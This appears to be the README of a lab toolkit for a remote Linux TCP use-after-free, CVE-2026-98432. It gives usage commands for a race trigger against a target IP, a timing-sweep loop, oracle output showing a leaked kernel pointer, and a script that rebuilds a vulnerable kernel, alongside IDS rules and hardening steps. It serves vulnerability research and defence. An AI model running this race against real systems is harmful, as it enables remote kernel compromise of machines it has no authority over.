
Laboratory toolkit for CVE-2026-98432 Linux TCP ireq_opt use-after-free: race trigger with heap-reuse oracle, leak parser, KASLR resolver, pcap analysis, IDS rules and hardening.
A small, tested laboratory toolkit for CVE-2026-98432, a remote use-after-free in the Linux IPv4/TCP stack (CVSS 9.8). It contains a race trigger with a heap-reuse oracle, a leak parser, a KASLR resolver, pcap analysis, IDS rules and hardening helpers.
[!WARNING] This is attack tooling. Run it only against machines you own, inside an isolated lab. The vulnerability is remote and needs no credentials on the target. The tool refuses public addresses unless you explicitly pass
--allow-public.
ireq_opt race, with a precise, configurable timing
model;System.map;| Target | Linux with an IPv4 TCP listener, kernel older than the fix |
| Attacker | Linux, CAP_NET_RAW, a C compiler, Python 3.8+ |
| Recommended | two VMs or a VM plus a host, same L2 network |
--mode raw additionally needs CAP_NET_ADMIN to install two iptables
rules (the tool prints them).
make # builds bin/cve_2026_98432
make check # full offline test suite, no packets sent
./bin/cve_2026_98432 --check
In the lab:
# 1. is the target an MPTCP listener? (one SYN, no side effects)
./bin/cve_2026_98432 --probe 192.168.56.10:9000
# 2. run the race for ten minutes, keep the evidence
./bin/cve_2026_98432 --race 192.168.56.10:9000 --iface eth1 \
--workers 16 --spray 4 --duration 600 --pcap hits.pcap
# 3. analyze offline
python3 tools/analyze_pcap.py hits.pcap
The exit code is 0 when the oracle saw a reused option block (proof of the
use-after-free), 3 when it did not, and 1/2 on errors.
A laboratory run has already confirmed the UAF oracle: the SYN-ACK carried another request's marker, proving the kernel read a reused option object. See docs/verified-hit.md. Stage 2 (turning the reuse into a kernel-pointer leak) is implemented and instrumented but not reproduced yet; see docs/stage2-leak.md. No public weaponised RCE chain exists as of 2026-11-02: Anthropic's chain is described only in prose, and the most detailed independent work stops at a controlled dereference on an instrumented kernel.
lab/build-lab.sh downloads Linux 6.12.112, reverts the two-line fix, builds
a kernel and boots it in QEMU together with the tool and a listener. See
lab/README.md for requirements and the in-VM commands.
make # optimised build
make test # C unit tests + built-in self-test
make san # UBSan locally, ASan+UBSan on Linux
make check # everything: clean build, unit tests, sanitizers, Python, shell
make check never opens a socket. It covers packet construction and parsing,
checksums, both marker flavours, the pointer classifier, the pcap writer, a
parser fuzz pass, the analyzers, the shell helpers, the CLI and the safety
guard. See docs/analysis.md for the
full matrix.
| mode | what it does | network |
|---|---|---|
--check | compares the running kernel with the fix table, prints MPTCP and tcp_migrate_req state | none |
--selftest | built-in smoke test | none |
--emit-demo FILE | writes a synthetic UAF capture (for testing the analyzer) | none |
--dump-config | prints the normalized configuration | none |
--probe IP:PORT | one SYN with MP_CAPABLE, detects an MPTCP listener | one packet |
--race IP:PORT | the actual race | many packets |
Common race options:
--workers N concurrent attempts (default 8)
--duration S stop after S seconds
--spray N heap-spray threads
--dup-burst N duplicate SYNs per attempt (lab tuning)
--mode raw|socket who owns the handshake (default socket)
--rtt-lead US send the duplicate SYN this early (may be negative)
--rst-delta US RST offset after the predicted ACK
--jitter US randomize both offsets
--pcap FILE write anomalous frames
Run ./bin/cve_2026_98432 --help for the full list.
[*] attempts=148213 synacks=147902 hits=1 anomalies=7 malformed=0 rtt=68.4us
| field | meaning |
|---|---|
attempts | handshakes started |
synacks | SYN-ACKs observed |
hits | SYN-ACK carried another attempt's marker: use-after-free confirmed |
anomalies | option blob did not parse as ours (possible leaked bytes) |
malformed | IPv4 ihl < 5, the underflow signature |
marker echoed | SYN-ACKs that carried our TS marker |
rtt | current round-trip estimate used for timing |
A hit looks like this:
[!] UAF ORACLE HIT: foreign magic bbbb0002 (expected aaaa0001)
ipopts[40] = 44280500...bbbb0002...
kernel ptr @8: ffffffff81234567 (text) base2M=ffffffff81200000
The race is a preemption lottery, but the timing still matters. Start with the defaults on loopback or a LAN, then sweep:
for lead in 0 10 30 60 120; do
for delta in -20 0 20 60; do
./bin/cve_2026_98432 --race "$TARGET" --iface "$IFACE" \
--duration 120 --rtt-lead "$lead" --rst-delta "$delta" --jitter 10
done
done
python3 tools/analyze_pcap.py capture.pcap --json report.json
python3 tools/kaslr_resolve.py System.map 0xffffffff9a2b3c4d
Suricata rules are in tools/suricata.rules. The two high-value signatures
are an inbound TCP SYN with IP options and an IPv4 header with ihl < 5.
tools/fix_check.sh /path/to/linux.sysctl -w net.mptcp.enabled=0.sysctl -w net.ipv4.tcp_migrate_req=0.iptables -A INPUT -m ipv4options --rr --ts --ssrr --lsrr --ra --sec --cipso --sid -j DROP
or nft add rule ip filter input ip hdrlength != 5 drop.tools/harden.sh --apply to apply 2–4 in one go (dry run by default).